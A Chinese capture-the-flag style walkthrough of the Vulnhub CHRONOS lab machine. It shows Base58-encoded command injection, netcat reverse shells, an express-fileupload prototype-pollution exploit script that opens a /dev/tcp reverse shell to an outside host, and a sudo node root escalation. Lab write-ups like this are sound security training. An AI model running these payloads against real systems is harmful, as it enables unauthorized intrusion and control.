记一次CHRONOS靶机练习

admin 2024年4月2日10:25:34评论1 views字数 6482阅读21分36秒阅读模式

0x01 下载地址

https://www.vulnhub.com/entry/chronos-1,735/

0x02 靶机目标

取得 2 个 flag + root 权限

0x03 工具准备

  • CyberChef:

    • 在线编解码、加解密的工具

    • https://gchq.github.io/CyberChef/

  • express-fileupload提权漏洞利用:

    • https://blog.p6.is/Real-World-JS-1/

    • 简易利用代码

import requestscmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'# polluterequests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})# execute commandrequests.get('http://p6.is:7777')
  • node提权命令

sudo node -e 'child_process.spawn("/bin/bash", {stdio:[0,1,2]})'

0x04 详细步骤

一、主机发现

Tip:本机所在网段掩码为24为,但为了加速netdiscover扫描速度建议在原有掩码基础上减8最为合适。

sudo netdiscover -r 10.0.0.0/16

记一次CHRONOS靶机练习

二、端口扫描

sudo nmap -p- 10.0.0.5
sudo nmap -p22,80,8000 -sV 10.0.0.5

记一次CHRONOS靶机练习

三、Web信息收集

  • 浏览器访问http://10.0.0.5

记一次CHRONOS靶机练习

记一次CHRONOS靶机练习

 var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}

使用CyberChef工具-JavaScript Beauity模块后

var _0x5bdf = [  '150447srWefj',  '70lwLrol',  '1658165LmcNig',  'open',  '1260881JUqdKM',  '10737CrnEEe',  '2SjTdWC',  'readyState',  'responseText',  '1278676qXleJg',  '797116soVTES',  'onreadystatechange',  'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',  'User-Agent',  'status',  '1DYOODT',  '400909Mbbcfr',  'Chronos',  '2QRBPWS',  'getElementById',  'innerHTML',  'date'];(function (_0x506b95, _0x817e36) {  var _0x244260 = _0x432d;  while (!![]) {    try {      var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132));      if (_0x35824b === _0x817e36)        break;      else        _0x506b95['push'](_0x506b95['shift']());    } catch (_0x3fb1dc) {      _0x506b95['push'](_0x506b95['shift']());    }  }}(_0x5bdf, 831262));function _0x432d(_0x16bd66, _0x33ffa9) {  return _0x432d = function (_0x5bdf82, _0x432dc8) {    _0x5bdf82 = _0x5bdf82 - 126;    var _0x4da6e8 = _0x5bdf[_0x5bdf82];    return _0x4da6e8;  }, _0x432d(_0x16bd66, _0x33ffa9);}function loadDoc() {  var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest();  _0x2beb35[_0x17df92(137)] = function () {    var _0x146f5d = _0x17df92;    this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]);  }, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send']();}
  • 通过对http://10.0.0.5美化后的JavaScript代码观察,提取了发现一个URL

http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
  • 结合端口扫描获取信息(目标靶机开启8000端口),通过对以上URL的分析,chronos.local很有可能就是目标靶机本身,并通过data?format=获取了系列资源

  • 本地hosts绑定chronos.local域名

sudo vi /etc/hosts
10.0.0.5 chronos.local
  • 再次刷新http://10.0.0.5,页面发生变化

记一次CHRONOS靶机练习

  • 使用Burp记录网站加载过程

记一次CHRONOS靶机练习

  • 通过Burp-Repeater测试GET参数

记一次CHRONOS靶机练习

记一次CHRONOS靶机练习

4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL这个参数对获取系统时间有直接作用

  • 使用CyberChef工具-Magic模块后,得知该段代码可能是由Base58生成的

记一次CHRONOS靶机练习

'+Today is %A, %B %d, %Y %H:%M:%S.'

结合网页收集的信息,该参数和date输出参数很相似

date '+Today is %A, %B %d, %Y %H:%M:%S.'

记一次CHRONOS靶机练习

记一次CHRONOS靶机练习

有理由猜测该Web应用程序执行的是操作系统指令

四、命令注入

Linux系统命令拼接符号:|&

A||B表示:A执行失败,执行B

A&&B表示:A执行成功,执行B

如果在系统执行命令下后拼接ls命令&&ls,那么系统应该应该列出当前目录中的文件

base58(&&ls)=yZSGA

记一次CHRONOS靶机练习

五、反弹Shell

查询是否存在nc

base58(&&ls /bin)=VAZYW9RHPu6D

记一次CHRONOS靶机练习

测试nc功能是否正常

base58(&&nc 10.0.0.14 5555)=7z5nTmqVXuNPGFFDd7fEPp4sSU

记一次CHRONOS靶机练习

记一次CHRONOS靶机练习

可以建立连接

记一次CHRONOS靶机练习

使用nc串联方法反弹连接

base58(&&nc 10.0.0.14 5555 | /bin/bash | nc 10.0.0.14 6666)=35LQhf3t1VDY1uAkb5XxPdQXZDCtHCyeeAWa3d54URfj2RdAKSva1Jtc1aXuCggvN8fKws

反弹成功:

记一次CHRONOS靶机练习记一次CHRONOS靶机练习

六、系统信息收集

查看系统账号,发现存在imera账户

pwd
id
cat /etc/passwd

记一次CHRONOS靶机练习

记一次CHRONOS靶机练习记一次CHRONOS靶机练习

cd /home/imera
ls -l

记一次CHRONOS靶机练习

尝试三种常用的提权方法都无法使用:1、内核漏洞;2、suid提权;3、sudo配置错误

代码审计

  1. 查看网站根的package.json源码,依赖的组件。

  2. 再次查看app.js源码,且有相关命令的检测,但没有过滤,确认存在命令执行漏洞,没有找到更多的提权信息

  3. 返回上级目录发现了chronos-v2目录,进入chronos-v2/backend目录,发现package.jsonserver.js文件

  4. 通过对/opt/chronos-v2/backend/server.js文件进行审计,发现靶机在127.0.0.1:8080监听的有一个应用

  5. 通过对/opt/chronos-v2/backend/package.json文件进行审计,发现fileupload({ parseNested: true }以及"express-fileupload": "^1.1.7-alpha.3"

  6. 通过多方搜索,发现靶机express-fileupload版本存在提权漏洞

七、系统用户提权

  • Kali主机创建py脚本vi python

  • 参照https://blog.p6.is/Real-World-JS-1/写入攻击脚本

import requestscmd = 'bash -c "bash -i &> /dev/tcp/10.0.0.14/7777 0>&1"'# polluterequests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})# execute commandrequests.get('http://127.0.0.1:8080')
  • 启动http server,将exp.py写入靶机

    • Kali主机:

python3 -m http.server 80
    • 靶机

cd /tmp
wget -c http://10.0.0.14/exp.py
  • 启动监听端口,执行exp.py反弹Shell

    • Kali

nc -lnvp 7777

记一次CHRONOS靶机练习

    • 靶机

python3 exp.py
  • Shell反弹成功,imera用户

记一次CHRONOS靶机练习

  • 获取用户Flag

cd ~
cat user.txt

记一次CHRONOS靶机练习

八、Root用户提权

sudo -l

记一次CHRONOS靶机练习

sudo node提权

sudo node -e 'child_process.spawn("/bin/bash", {stdio:[0,1,2]})'

记一次CHRONOS靶机练习

获取root用户Flag

cat /root/root.txt

记一次CHRONOS靶机练习

九、彩蛋

cat /home/imera/
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
base64解密:o chronos pernaei file mou

cat /root/root.txt
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
base64解密:apopse siopi mazeuoume oneira

记一次CHRONOS靶机练习

本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!

敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。

原文始发于微信公众号(巢安实验室):记一次CHRONOS靶机练习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月2日10:25:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次CHRONOS靶机练习https://cn-sec.com/archives/2620664.html

发表评论

匿名网友 填写信息